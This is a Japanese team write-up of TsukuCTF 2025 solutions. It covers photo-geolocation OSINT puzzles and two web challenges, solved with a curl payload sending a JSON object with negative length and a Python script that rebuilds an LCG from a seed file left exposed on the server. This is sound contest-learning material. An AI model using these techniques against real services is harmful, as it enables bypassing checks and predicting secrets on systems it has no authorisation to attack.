May 3-4, 2025 JSTに開催された初心者向けのTsukuCTF 2025 にチームで参加した。
自分で解けた問題のWriteupを記載する。
OSINT
curve
これは日本の有名な場所の一部です。あなたはこの写真の違和感に気づけますか?
フラグはこの場所のWebサイトのドメインです。
例: TsukuCTF25{example.com}

curveの掛かったエスカレーターでグーグル検索すると、横浜のランドマークタワーのらせんなエスカレーターであることがわかる。
参考
ameblo.jp
flag : TsukuCTF25{www.yokohama-landmark.jp}
Casca
海が綺麗なこの日本の街は、かつてポルトガルのリゾート地との交流がありました。
この写真のすぐ右側にはその記念碑が置かれています。記念碑に書かれている「式典の開催日」を答えてください。
Format: TsukuCTF25{YYYY/MM/DD}

ブラウザの画像検索で調べると熱海市とポルトガルのcascaisの姉妹都市提携に関連する話とわかる。
以下のサイトのレリーフが調べる式典の日付になる。
参考
blog.goo.ne.jp
flag : TsukuCTF25{2014/06/06}
schnee
素敵な雪山に辿り着いた!スノーボードをレンタルをして、いざ滑走!
フラグフォーマットは写真の場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}の形式で記載してください。
例: TsukuCTF25{12.345_123.456}

yandexで調べるとスイスのグリンデルヴァルト付近であることがわかる。
(画像の中にスイスの国旗があることからも裏付けが取れる。)
写真の中のスキーのレンタルショップの名前としてBuri Sportの文字が読める。
Google EarthでグリンデルヴァルトのBuri Sportというショップを探すと3つ場所がある。
3つの内の1つを絞りこめればflagが得られる。
earth.google.com
flag : TsukuCTF25{46.623_8.039}
buildings
あの建物が建ったら、また空が狭くなるんだろうな。
フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。

チームメンバーの方に対象のビルがロイヤルパークス品川でまだ未完成であることを教えてもらった。
教えてもらった情報を元に位置的に会う場所をGoogleEarthで探すと、写真の場所が見つかった。
earth.google.com
flag : TsuchCTF{35.6318_139.7430}
rider
遠くまで歩き、夕闇に消える足跡
煌めく街頭が、夜の街を飾る
傍らの道には、バイクの群れが過ぎ去り
風の音だけが残る
光と影の中、ふと立ち止まり思う
私は今、どこにいるんだろう
フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。
hints : この詩に意味はありません。

写真を見るとインドネシアのOTI Fried Chickenというフライドチキン屋さんの看板が見えるので手掛かりにする。
また周囲のお店は変わるが道路や信号機などの公共物はすぐには変わらないことを意識し、以下の条件をおさえる。
①大通りの2車線の道路で分離帯がないこと
②前方に信号機があること
函館のラッキーピエロよろしく、インドネシアで店舗数が多いので探すのに苦労したが、上記の公共物の条件から以下の場所が分かる。
https://www.google.co.jp/maps/place/OTI+Fried+Chicken+Salatiga/@-7.3190071,110.4972088,3a,75y,219.12h,91.19t/data=!3m7!1e1!3m5!1s-OtFtAJdizudzSMv2fDhpA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-1.185768698134595%26panoid%3D-OtFtAJdizudzSMv2fDhpA%26yaw%3D219.12097898131884!7i16384!8i8192!4m10!1m2!2m1!1soti+fried+chicken!3m6!1s0x2e7a78400c61e65b:0x78ef6a34ecb4a247!8m2!3d-7.319094!4d110.4970824!15sChFvdGkgZnJpZWQgY2hpY2tlbiIDiAEBWhMiEW90aSBmcmllZCBjaGlja2VukgEWZnJpZWRfY2hpY2tlbl90YWtlYXdheaoBYAoNL2cvMTFmc3FndnMxNxABKhUiEW90aSBmcmllZCBjaGlja2VuKAAyHxABIhtBJ4lCymC1BONVhoNbSWwSkdQ78BdUlE3IAJAyFRACIhFvdGkgZnJpZWQgY2hpY2tlbuABAA!16s%2Fg%2F11c1p80w99?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoJLDEwMjExNDUzSAFQAw%3D%3D
flag : TsukuCTF25{-7.3189_110.4971}
destroyed
このTelegramの投稿の写真に写っている学校を特定してください。
フラグフォーマットはその場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}の形式で記載してください。
例: TsukuCTF25{12.345_123.456}
注意: この問題を解く過程で、戦争に関わる直接的な画像が表示される場合があります。
問題サイトにあるウクライナ語の文章から以下のことが分かる。
2022年12月24日にウクライナ・ザポリージャ州のステプネ村にあるステプネンシカ・ギムナジア(ステプネンシカ中学校)がロシア軍のS-300ミサイルによる攻撃を受け、学校施設が破壊された事件を指しています。
以下のサイトでgoogle mapの住所が公開されている。
ザポリージャ州ザポリージャ地区ステプノ村議会ステプノ中等学校(1~3年生)
znayshov.com
記載されたgoogle mapの住所が解答する緯度経度になる。
flag : TsukuCTF25{47.798_35.305}
power
力を感じてきた。
フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。

史蹟 点字 案内 でGoogle検索すると将門塚が見つかる。
flag : TsukuCTF25{35.6873_139.7627}
Web
len_len
"length".length is 6 ?
curl http://challs.tsukuctf.org:28888
指定されたURLへアクセスすると以下のメッセージが表示される。
┌──(root㉿kali)-[~]
└─# curl http://challs.tsukuctf.org:28888
How to use -> curl -X POST -d 'array=[1,2,3,4]' http://challs.tsukuctf.org:28888
┌──(root㉿kali)-[~]
└─# curl -X POST -d 'array=[1,2,3,4]' http://challs.tsukuctf.org:28888
error: no flag for you. sanitized string is [1,2,3,4], length is 9
ソースコードは以下の通り。
const express = require("express");
const bodyParser = require("body-parser");
const process = require("node:process");
const app = express();
const HOST = process.env.HOST ?? "localhost";
const PORT = process.env.PORT ?? "28888";
const FLAG = process.env.FLAG ?? "TsukuCTF25{dummy_flag}";
app.use(bodyParser.urlencoded({ extended: true }));
function chall(str = "[1, 2, 3]") {
const sanitized = str.replaceAll(" ", "");
if (sanitized.length < 10) {
return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
}
const array = JSON.parse(sanitized);
if (array.length < 0) {
// hmm...??
return FLAG;
}
return `error: no flag for you. array length is too long -> ${array.length}`;
}
app.get("/", (_, res) => {
res.send(
`How to use -> curl -X POST -d 'array=[1,2,3,4]' http://${HOST}:${PORT}\n`,
);
});
app.post("/", (req, res) => {
const array = req.body.array;
res.send(chall(array));
});
app.listen(PORT, () => {
console.log(`Server is running on http://${HOST}:${PORT}`);
});
FLAGを確認するためにはarray型で長さが-1になるリクエストを投げればよい=array.length が負の値になるようなオブジェクトをリクエストする。
.lengthプロパティを持つオブジェクトを作り、lengthプロパティを負の値にしたオブジェクトを作ることでarray.length<0をtrueにする。
┌──(root㉿kali)-[~]
└─# curl -X POST -d 'array={"length":-1}' http://challs.tsukuctf.org:28888
TsukuCTF25{l4n_l1n_lun_l4n_l0n}
flag : TsukuCTF25{l4n_l1n_lun_l4n_l0n}
3, 2, 1, pop!
http://challs.tsukuctf.org:50000/
問題の概要
指定されたURLへアクセスするstartボタンが表示される。
startを押すとflashにて1~3と8~10まで数字が表示され、4~7は数字が表示されない。
最後に1~10までの数字を足し算して回答し、正解すればflagが入手できる。
from flask import Flask, session, render_template, request, redirect, url_for, make_response
import hmac, hashlib, secrets
used_tokens = set()
with open('./static/seed.txt', 'r') as f:
SEED = bytes.fromhex(f.read().strip())
def lcg_params(seed: bytes, session_id: str):
m = 2147483693
raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest()
a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1
raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest()
c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1
return m, a, c
def generate_round_digits(seed: bytes, session_id: str, round_index: int):
LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)
h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest()
state = int.from_bytes(h0, 'big') % LCG_M
for _ in range(DIGITS_PER_ROUND * round_index):
state = (LCG_A * state + LCG_C) % LCG_M
digits = []
for _ in range(DIGITS_PER_ROUND):
state = (LCG_A * state + LCG_C) % LCG_M
digits.append(state % 10)
return digits
def reset_rng():
session.clear()
session['session_id'] = secrets.token_hex(16)
session['round'] = 0
TOTAL_ROUNDS = 10
DIGITS_PER_ROUND = 7
FLAG = "TsukuCTF25{**REDACTED**}"
app = Flask(__name__)
app.secret_key = secrets.token_bytes(16)
@app.route('/')
def index():
reset_rng()
return render_template('index.html')
@app.route('/flash')
def flash():
session_id = session.get('session_id')
if not session_id:
return redirect(url_for('index'))
r = session.get('round', 0)
if r >= TOTAL_ROUNDS:
return redirect(url_for('result'))
digits = generate_round_digits(SEED, session_id, r)
session['round'] = r + 1
visible = (session['round'] <= 3) or (session['round'] > 7)
return render_template('flash.html', round=session['round'], total=TOTAL_ROUNDS, digits=digits, visible=visible)
@app.route('/result', methods=['GET', 'POST'])
def result():
if request.method == 'GET':
if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
return redirect(url_for('flash'))
token = secrets.token_hex(16)
session['result_token'] = token
used_tokens.add(token)
return render_template('result.html', token=token)
form_token = request.form.get('token', '')
if ('result_token' not in session or form_token != session['result_token']
or form_token not in used_tokens):
return redirect(url_for('index'))
used_tokens.remove(form_token)
ans_str = request.form.get('answer', '').strip()
if not ans_str.isdigit():
return redirect(url_for('index'))
ans = int(ans_str)
session_id = session.get('session_id')
correct_sum = 0
for round_index in range(TOTAL_ROUNDS):
digits = generate_round_digits(SEED, session_id, round_index)
number = int(''.join(map(str, digits)))
correct_sum += number
session.clear()
resp = make_response(
render_template('result.html', submitted=ans, correct=correct_sum,
success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
)
cookie_name = app.config.get('SESSION_COOKIE_NAME', 'session')
resp.set_cookie(cookie_name, '', expires=0)
return resp
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
ソースコードの以下の部分で数字の乱数生成している。
def lcg_params(seed: bytes, session_id: str):
m = 2147483693
raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest()
a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1
raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest()
c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1
return m, a, c
session_id(アクセス時に変わる)はcookieにjwt形式で設定されており、取得可能である。
m,a,cは全てSEED(固定)とsession_id(セッションごとにランダム)からHMAC-SHA256で計算されているのでSEEDとsession_idが分かればLCGは手元でも再現可能である。
配布されたdockerイメージをみるとflash/static/seed.txtのディレクトリ構造になってる。
このときなぜかseedがむき出しで、取得できてしまう。
┌──(root㉿kali)-[~]
└─# curl http://challs.tsukuctf.org:50000/static/seed.txt
b7c4c422a93fdc991075b22b79aa12bb19770b1c9b741dd44acbafd4bc6d1aabc1b9378f3b68ac345535673fcf07f089a8492dc1b05343a80b3d002f070771c6
seedとsession_idが手元に揃ったのでflashの処理を手元で再現する。
import hmac, hashlib
SEED = bytes.fromhex("b7c4c422a93fdc991075b22b79aa12bb19770b1c9b741dd44acbafd4bc6d1aabc1b9378f3b68ac345535673fcf07f089a8492dc1b05343a80b3d002f070771c6")
session_id = "b63a9929db7a0cd30c72e8153421357e" # Cookieから取得
DIGITS_PER_ROUND = 7
TOTAL_ROUNDS = 10
def lcg_params(seed: bytes, session_id: str):
m = 2147483693
raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest()
a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1
raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest()
c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1
return m, a, c
def generate_round_digits(seed: bytes, session_id: str, round_index: int):
m, a, c = lcg_params(seed, session_id)
h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest()
state = int.from_bytes(h0, 'big') % m
for _ in range(DIGITS_PER_ROUND * round_index):
state = (a * state + c) % m
digits = []
for _ in range(DIGITS_PER_ROUND):
state = (a * state + c) % m
digits.append(state % 10)
return digits
# 各ラウンドの数字を取得・合計
total = 0
for r in range(TOTAL_ROUNDS):
digits = generate_round_digits(SEED, session_id, r)
num = int(''.join(map(str, digits)))
print(f"Round {r}: {digits} -> {num}")
total += num
print(f"\n[+] Total Sum to Submit: {total}")
実行結果
>python C:\flash_solver.py
Round 0: [6, 9, 7, 5, 1, 3, 2] -> 6975132
Round 1: [3, 0, 3, 6, 7, 7, 2] -> 3036772
Round 2: [2, 0, 4, 7, 3, 8, 7] -> 2047387
Round 3: [7, 3, 6, 5, 6, 4, 3] -> 7365643
Round 4: [9, 6, 8, 7, 9, 7, 7] -> 9687977
Round 5: [8, 7, 3, 4, 4, 0, 6] -> 8734406
Round 6: [2, 8, 6, 4, 0, 2, 9] -> 2864029
Round 7: [3, 7, 3, 5, 4, 2, 6] -> 3735426
Round 8: [5, 8, 9, 1, 2, 0, 5] -> 5891205
Round 9: [4, 3, 0, 8, 1, 1, 3] -> 4308113
[+] Total Sum to Submit: 54646090
上記を回答するとflagが得られる。
flag : TsukuCTF25{Tr4d1on4l_P4th_Trav3rs4l}